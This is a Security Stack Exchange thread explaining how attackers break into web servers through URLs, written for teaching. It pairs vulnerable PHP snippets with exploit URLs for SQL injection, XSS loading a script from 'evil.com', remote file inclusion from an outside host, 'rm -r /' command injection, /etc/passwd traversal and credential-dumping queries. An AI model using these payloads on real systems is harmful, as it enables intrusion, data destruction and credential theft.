97

I am specifically talking about web servers, running Unix. I have always been curious of how hackers get the entry point. I mean I don't see how a hacker can hack into the webpage when the only entry method they have into the server is a URL. I must be missing something, because I see no way how the hacker can get access to the server just by changing the URL.

By entry point I mean the point of access. The way a hacker gets into the server.

Could I get an example of how a hacker would make an entry point into a webserver? Any C language is acceptable. I have absolutely no experience in hacking

A simple example would be appreciated.

  • I think you need to do some searching on this site for some of this basic info. A google search might also be helpful. Search for 'exploit' 'OWASP' 'port scanning' – schroeder Jan 31 '12 at 18:45
  • 6
    You guess the password. – jn1kk Jan 31 '12 at 19:13
  • 15
    I've seen many movies so I got this one, just use hack.exe and whatever you were thinking hack.exe will do it. The same hack.exe will work for multiple tasks (there aren't any input arguments either). – Trevor Boyd Smith Feb 01 '12 at 13:10
  • 17
    I saw this on CSI. You use Visual Basic to make a GUI User interface. – Chris Cudmore Feb 01 '12 at 14:54
  • @skynorth - Or more commonly one steals the password via keylogger; password reuse (and a malicious site that accumulates passwords/attempts at passwords); firesheep/wireshark; or broken password reset mechanism. – dr jimbob Feb 01 '12 at 16:30
  • 4
    I can't resist to post this "tutorial" about hacking... http://www.youtube.com/watch?v=u8qgehH3kEQ – Alvin Feb 02 '12 at 19:49
  • For many attacks, the main focus is on making it into an admin or forgotten developer login. Once there an attacker can have his way with the system. – Mark Rogers Feb 04 '12 at 15:47
  • Besides being a list type question (which is usually not a got fit for SE sites), this is a ridiculously wide open question. Half of this site is an answer to it, and even that is obviously not complete. The answers below are good examples, but not anywhere near complete. – AviD Oct 14 '12 at 09:27

7 Answers7

189

Hacks that work just by changing the URL

  • One legit and one malicious example
  • Some examples require URL encoding to work (usually done automatically by browser)

SQL Injection

code:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (logs in as administrator without knowing password):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)

code:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registrers visiting user as a zombie in BeEF):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Remote code execution

code (Tylerl's example):

<? include($_GET["module"].".php"); ?>

exploit (downloads and runs arbitrary code) :

example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript

Command injection

code:

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

exploit (tries to delete all files from root directory):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Code injection

code:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (injects phpinfo() command which prints very usefull attack info on screen):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAP injection

code:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (logs in without knowing admin password):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Path traversal

code:

<?php
include("./" . $_GET['page']);
?>

exploit (fetches /etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Redirect/Forward attack

code:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (Sends user from your page to evil page) :

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Failure to Restrict URL Access

code:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

exploit:

example.com/users/showUser.php
example.com/admins/editUser.php

Cross-Site Request Forgery

code:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

exploit:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Buffer overflow (technically by accessing an URL, but implemented with metasploit

code:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
Chris Dale
  • 16,119
  • 10
  • 56
  • 97
  • 7
    Excellent answer, have you considered making this a wiki post so others can add extra detail etc :) – Stuart Blackler Jan 31 '12 at 22:56
  • 9
    Sadly most schools don't include this in any programming classes. I had to tech myself most of this and often helped class mates securing their sides (and had to hack a teachers website to prove my point) – HTDutchy Feb 01 '12 at 09:47
  • 1
    @s4uadmin I hope you had a good relationship with your teacher, "To prove a point" usually doesn't justify hacking someone else's site. – JD Isaacks Feb 01 '12 at 12:25
  • 1
    I don't get it, all of these techniques rely on the server not validating the input. Once the server validates the input, these methods won't work one bit anymore. – Pacerier Feb 01 '12 at 13:02
  • 4
    @Pacerier most exploits are caused by someone screwing up somewhere. It only takes a single oversight to let an attacker into an otherwise secure site. – Dan Is Fiddling By Firelight Feb 01 '12 at 13:36
  • 2
    @John Isaacks, well I still am good friends with him. He said go ahead, I asked him if he had backups ready and when he said yes I did a few exploits. ended up deleting his entire database and removed most of the files he had. He didn't know that that much was possible because of a little search field and the basic way his site was loading pages. – HTDutchy Feb 01 '12 at 14:22
  • 1
    @DanNeely It's easy not to screw up. Basically all these things are wrapped in a single function `F(user-input)` and it's now 100% safe. For example SQL injections really don't exist in *real* websites anymore. It's **so easy** to prevent them. – Pacerier Feb 01 '12 at 14:36
  • 7
    @Pacerier Validating the input requires that a programmer do so. It should be noted that "Input Validation" is the root cause of half of the OWASP Top 10 – Scott Pack Feb 01 '12 at 14:40
  • 1
    @ScottPack Yes, but usually there are already functions which wrap all the required input validation algorithm in a single `IsValid("user-input")`. – Pacerier Feb 01 '12 at 14:51
  • 3
    I respectfully disagre with your argument that exist anymore. The developer needs to remember to wrap every single user input, which is a non-trivial exercise if they're not used to doing so. http://www.darkreading.com/database-security/167901020/security/attacks-breaches/232301285/latest-sql-injection-campaign-infects-1-million-web-pages.html – devnul3 Feb 01 '12 at 15:47
  • 10
    @Pacerier It should be easy; but the fact that unvalidated user input still tops the list of successful exploit channels means that there are still huge numbers of people who call themselves web developers who can't get it right. – Dan Is Fiddling By Firelight Feb 01 '12 at 15:51
  • 2
    @Pacerier: The problem isn't usually technical, as demonstrated by the fact that some languages do already provide validation subroutines. The problem is that developers aren't using them (or not using them correctly), which turns it into a education and/or development/test/business process problem. – Scott Pack Feb 01 '12 at 16:03
  • I don't understand what example.com/?url=evil.com/sploitCode.php does – Louis Rhys Feb 02 '12 at 07:13
  • @LouisRhys , It is an redirect attack which redirects the user to the attacks "sploitCode.php" which I mean is exploitCode.php. This could be anything from a phising site to a browser exploit to anything you want. As long as the user is on your site you have alot of control! – Chris Dale Feb 02 '12 at 11:02
  • There are so many exploits of the `GET` form submission method; `include($_GET['anything'])` **seriously?** Who does that? – JYelton Feb 03 '12 at 15:56
  • @JYelton you would be very, very surprised (and disappointed). It happens all the time on smaller PHP websites if someone has a 'menu' system (many, many guides would teach this method!). – Kitsune Feb 03 '12 at 20:36
  • @Pacerier You would think it would be easy, and not happen, and you would be wrong. HBGary Federal was completely destroyed due to the beachhead created via a single SQL Injection, which is the same story as most other victims of Anonymous. Schools don't teach the dangers of SQL injection, or buffer overflows, etc. Input validation is, at best, an after thought. And for that matter, what is "valid"? If I have a web forum, I have to validate against both SQL injections as well as against embedded HTML (often not the same function). Frankly, the fact that SQL injections still happen is scary! – Kitsune Feb 03 '12 at 20:40
  • @Kitsune I don't believe experienced developers will ever take a user input and not *clean* it. These days sql happens not for *real* sites but for sites built *for fun* by learners – Pacerier Feb 03 '12 at 22:01
  • 2
    @Pacerier So is Sony Picture's website not a "real" site? If you search around (or follow various sites), you'll see that SQL injection attacks are still very common occurrences for even large websites. The real solution to *SQL injection* isn't to use an "isValid" function anyways, but to use prepared statements (that won't mangle your data, or needlessly restrict legitimate content). The problem is trying to mix code and data in SQL, not the data itself. You still need to sanitize input depending on where else it goes, but that's case dependent for what you need to do with it, not for SQL. – Kitsune Feb 05 '12 at 03:26
  • How would an attacker know to use these methods, without knowing the code in the first place. eg for SQL injection, how would they know what to enter to complete the exisiting code and then add their own? – Jonathan. Mar 20 '12 at 19:35
  • @Jonathan. based on experience you can learn to think how a developer has programmed the application. In some cases it is most likely written in a certain way. Also in some cases error messages can be too revealing, leaving clues for the attacker. To be honest, this is what makes penetration testing the most fun! Getting the feeling that you "beat" the developer in his design and code. – Chris Dale Mar 20 '12 at 20:32
  • Where to place the PHP code in the first example? Webforms? –  Aug 09 '12 at 19:01
  • If you are a fairly technical user that is looking at getting in to IT Security, I highly recommend checking out the site hackthissite.org. It has safe examples of websites that are "vulnerable" to these kinds of attacks and demonstrates how they work quite nicely if you want a hands on way to see them in action. – AJ Henderson Aug 31 '12 at 17:37
  • 1
    I realize the discussion is several months old, but @Pacerier I'm pretty sure a large % of what's on the internet is *not* written by experienced developers. That's why sql injection is still a reality, it's trivial to take care of if you know what you are doing, but there are lots of people who don't. – Mahn Sep 07 '12 at 04:11
  • For example, if you visit the feed of questions of the PHP label at Stack Exchange at any given point, and this is very real, some 40 to 50% of the new questions on the first page *will* contain a php+mysql combination that is vulnerable to sql injections — and it's not rare for this kind of code to be found in small/medium sized businesses (until it breaks, of course) – Mahn Sep 07 '12 at 04:17
  • (This is also one of the reasons why PHP has such a bad rep among more experienced devs) – Mahn Sep 07 '12 at 04:20
  • @kitsune, yes you can consider that not a *real* site then. Apparently they didn't bother to spend enough on their website, http://www.sonypictures.com can't even be accessed right now – Pacerier Oct 03 '12 at 12:57
  • @Pacerier, the site is up right now for me. So what you're saying is, SQL Injection isn't an issue for any 'real' site, where 'real' is defined as any site not vulnerable to SQL Injection? That's a straight up 'No True Scotsman' fallacy right there! If that's not the definition, how about providing *your* definition of a `real` site? I'm pretty sure whatever definition you provide will rule out virtually every site on the Internet. – Kitsune Oct 03 '12 at 17:22
  • @Kitsune, *real* site is a site owned by a *big* IT company, e.g. Google, Microsoft. – Pacerier Oct 03 '12 at 17:30
  • @Kitsune, you win the argument if there's an SQL injection attack against Google. And of course I'm not talking about the olden days, I'm talking about *these days*. – Pacerier Oct 03 '12 at 17:31
  • @Pacerier Now you're changing your arguments! Before, you claimed SQL Injection only happened against sites built `for fun by learners`... then I provided a then-recent example of a site owned by a massive corporation (and not even a throw-away site, but the main site for a major division) that was hacked via an SQL Injection. As for some tech companies? Just some relatively recent random ones, but Yahoo in July, Nokia Aug 2011, LinkedIn a few months ago (likely caused by SQL injection, although no official word). Just to name a few that went public. Now you're going to say they don't count. – Kitsune Oct 03 '12 at 18:13
24

The (currently) most common way in is through holes in PHP applications. There are dozens of ways in which this could work, but here's a simple, easy one:

Imagine the unsuspecting site owner decides to take a shortcut in his code such that http://example.com/site.php?module=xyz actually first loads some template shell and then run "xyz.php" to fill in the content. So perhaps he writes something like this:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

The hacker then visits the site using the following URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Now, instead of loading his local script, PHP goes out and downloads http://malicio.us/evilprogram.php and executes it -- running whatever PHP code the attacker desires. Perhaps sending spam, perhaps installing a backdoor shell, perhaps searching the configuration files for passwords.

There are literally thousands of ways to hack a site, each as novel as the next. Almost universally, they involve a programmer who didn't think about all the possible inputs to their program and the unexpected effects they might have.

Jeff Ferland
  • 38,090
  • 9
  • 93
  • 171
tylerl
  • 82,225
  • 25
  • 148
  • 226
  • You beat me to it (particularly the "there are thousands of ways"), so +1 to you, but I'd like to add that there's another example here: http://www.greensql.com/articles/backdoor-webserver-using-mysql-sql-injection – David Stratton Jan 31 '12 at 19:43
  • 1
    +1 for shedding light on why someone would use the insane `include($_GET['anything'])` – JYelton Feb 03 '12 at 15:59
  • 1
    @JYelton: I've seen this multiple times in code my clients have written. When someone starts a conversation with "So we developed our own CMS...", I cringe a little. – tylerl Feb 03 '12 at 20:06
11

There are 2 ways of looking at it, you could focus on the server itself, or focus on the web application that the server is running.

As a server, it can have open ports running services that you can connect to and gain access to the server. By using known exploits, you could gain root access. For example, some FTP servers for Unix have vulnerabilities that can be exploited by tools like Metasploit to gain a root shell.

As an application, there are far too many ways to exploit a poorly written or configured application. For instance, if you pass a SQL query as a GET, you could actually manipulate the URL itself to perform a SQL Injection attack and dump entire databases. For example (depending on the coding of the site): http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT username, password FROM USERS

Again, you touch on a massive subject and I hope these help you focus your next steps.

schroeder
  • 123,438
  • 55
  • 284
  • 319
  • I agree there are two access points; a weak application or vulnerabilities in the server. But for an up-to-date server (say running only apache2 to display static html pages and sshd from a stable ubuntu releases with all security pathces) with strong passphrases is very unlikely to be hacked into (other than say a ddos to overload the site; or someone logging in from a keylogged machine), especially if precautions are made. 0-day exploits, while they definitely exist (esp in bleeding edge software) are somewhat rare in the wild for mature software. – dr jimbob Feb 01 '12 at 16:49
  • The OP was looking for ways of getting server access. Targeting the server itself and the services it runs is a viable way to do that. I agree that a web server should be configured to limit this attack surface, but it is up to people to do it and people are prone to errors. For instance, I was able to gain a foothold in a brand new Pitney Bowes mail machine on our network because they had no process to update the OS services. It is a mature, non-bleeding edge software commercially available to everyone. – schroeder Feb 01 '12 at 17:07
7

The Short Answer

This might not be the right question.

A hacker...

...is a social engineer.

They are more interested in their interactions with people than their interactions with computers. A hacker would far rather have you hand him your password, than have to brute force it.

...is seeking knowledge...

...and knows that knowledge is power. A hacker is more interested in getting your credit card number than he is in actually using it.

...uses morality as an excuse...

...not a cause. This is why many hackers will take advantage of morally-oriented political events to go public. They know they can use morality to excuse their actions in the eyes of the public.

...doesn't get caught unless he wants to.

Most of the time. Wannabe hackers who just jump right in without any regard for stealth or anonymity are known as "script kiddies" or "skiddies" within the hacking community. There are far more skiddies than hackers, most likely, and they will likely be your biggest annoyance.

...doesn't need any special tools or backdoors.

The frontend that you've provided is likely sufficient.

The Long Answer

You can secure yourself against the exploits in Metasploit all you want. A hacker will just walk right on in through the front door--if not virtually, literally.

The Answer You Want

Seeing as how people don't like the answer that I gave, as adequate as it is, I'll give you something a bit more along the lines of what you want.

Hackers like to stay anonymous. The first step in any attack is stringing together a line of proxies of some sort, be they SOCKS proxies, zombies, or just simple bots forming a botnet. There are a few ways of going about this, but let's get some dead proxies for the sake of discussion. Head on over to pastebin.com and do a search for 8080. This is a common port for web proxies. Scroll down in the results until you find a list of IP addresses and click to view the result. You should have a long list of web proxies. I can guarantee that most, if not all, will be dead. Sorry, this is not a hacking tutorial.

The next step is to gather seemingly trivial information about your target. Using his proxies, a hacker would run portscans, then probe any services that he finds. Got a website? Let's explore it. Got a MySQL server? Let's see what version it is. Running SSH? Let's see if it accepts text passwords, or is limited to certificates.

Then the hacker sits down, looks at what he's gathered, and decides what the weakest point of the system is. Depending on the size of the system, he might go back and probe a bit more, if there is more to probe and he feels he hasn't acquired a good enough weakness. A weakness doesn't have to be a true security "hole": it just has to be the weakest link. Perhaps you have an FTP server that doesn't protect against hammering (repeated login attempts). Maybe you have a web server with a bunch of forms or potentially exploitable URLs. Those are worth investigating further.

If necessary, the attacker might write a script or program to carry out the final attack, though this isn't always the case. Most weaknesses can be exploited with existing tools, so this usually is unnecessary for the modern hacker. However, occasionally hackers discover new security holes in software, in which case they sometimes need to write special tools to exploit said software.

A good example of a blatantly obvious attack program is one that is used to cause trouble on servers for a game called Terraria. This wasn't its original purpose, but because it does expose various exploits in the server software, it does tend to be used for that by others. I wrote it in C#. The source code is available on GitHub. The exploits use bytecode manipulation to modify the existing client to send malicious data. The server does not expect this data, and reacts in ways in which it was not designed to function. Discovering exploits like this can be as simple as reverse engineering the target software--I say simple because this has become an increasingly easy task with modern reflective languages, such as C# and Java. Programs such as .NET Reflector (paid) and dotPeek (free, for now) make this possible with the click of a button. A sufficiently trained C# programmer can then observe the code, determine its functionality, and write a program to alter this functionality.

Zenexer
  • 171
  • 7
  • 2
    I don't think this is answering the question that was asked. Whether or not it's the 'right' question is a different matter, but if you are answering, I believe you should try to [answer the question](http://security.stackexchange.com/questions/how-to-answer) that was asked. – Yoav Aner Feb 04 '12 at 20:18
  • Well, I did answer the question, in the end. I just led up to it. I wanted to give some context to my answer. – Zenexer Feb 04 '12 at 22:56
  • You did answer, but not the question that was asked. From what I gather, the question was specifically about hacking into a server, and looking for specific examples (e.g. "I am specifically talking about web servers, running Unix"). – Yoav Aner Feb 04 '12 at 23:46
  • @YoavAner Well, I wanted to give context so that I could explain why I wasn't providing an example. The reason I didn't provide a sample is that my answer doesn't really warrant one. When I picture a hacker, I see someone who just walks into a building, right past security, heads to the server room, and sits down at a console. – Zenexer Feb 05 '12 at 06:24
  • I added the answer that everyone wanted. Hopefully that will be adequate. – Zenexer Feb 05 '12 at 06:54
4

A friend of mine had a contract to work on a site. While he did he notice hackers got into the website and did stuff he didnt like. After looking at some log files he notice the 'hackers' found the site by googling a mysql error.

When you're able to inject sql you can do whatever you want such as creating yourself an account. If you can upload files (especially php) you have a possibility of being able to execute it. If you can execute it you can do more damage like read/write files on the server filesystem even if you dont have an account on the linux/windows server.

Another technique is breaking into the database, looking at the passwords (especially if they aren't hashed) than trying to establish a ssh or ftp connection to the same ip address of the site and trying the user/password combinations.

Also you dont need to break into the server to get hacked. Someone i met told me a story how outdated software was installed on his server. The attackers used it to upload and execute their own php file which injected one line of code (to add an iframe) into every index.php and index.html file. Essentially no one was able to visit the site. It either redirected or gave lots of popups.

  • Using old software that has known exploits is still "breaking into the system" and you describe is mild compared to what they could have done. – Ramhound Feb 03 '12 at 14:22
2

How many times have we read about logins with either no password or "Joes"? Doesn't require knowledge of Metasploit or anything really exotic to get in the front door. A bit like a running car sitting in a driveway on a cold morning "Please steal me".

jl01
  • 225
  • 2
  • 4
1

Just a few more examples for you to consider.

Following on from tylerl's example:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Attack vector:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

This is a local file include base64 attack due to lack of any secure coding, an attacker is able to read almost any file on the site or server that ends in [.php], in this case reading the file contents of the configure.php file, PHP returns a base64_encode of the entire file content which is easily decoded back to readable text.

However the malformed URL does not have to seek input security validation holes.

In many web commerce sites, the $PHP_SELF code misreports the filename where yoursite.com/admin/administrators.php, $PHP_SELF reported the filename as administrators.php, however if login.php was appended like admin/administrators.php/login.php, then $PHP_SELF misreport login.php as the filename instead of administrators.php.

So for example if the admin session validation question is asked in this awe inspiring example:

*if ( not a valid admin session ) and ( $PHP_SELF is not = to login.php ) then redirect to login.php*

The page is never going to redirect to the login.php because $PHP_SELF is misreporting the true filename, thus the attacker has access to the administrators.php file without the need for correct credentials.

Taipo
  • 189
  • 4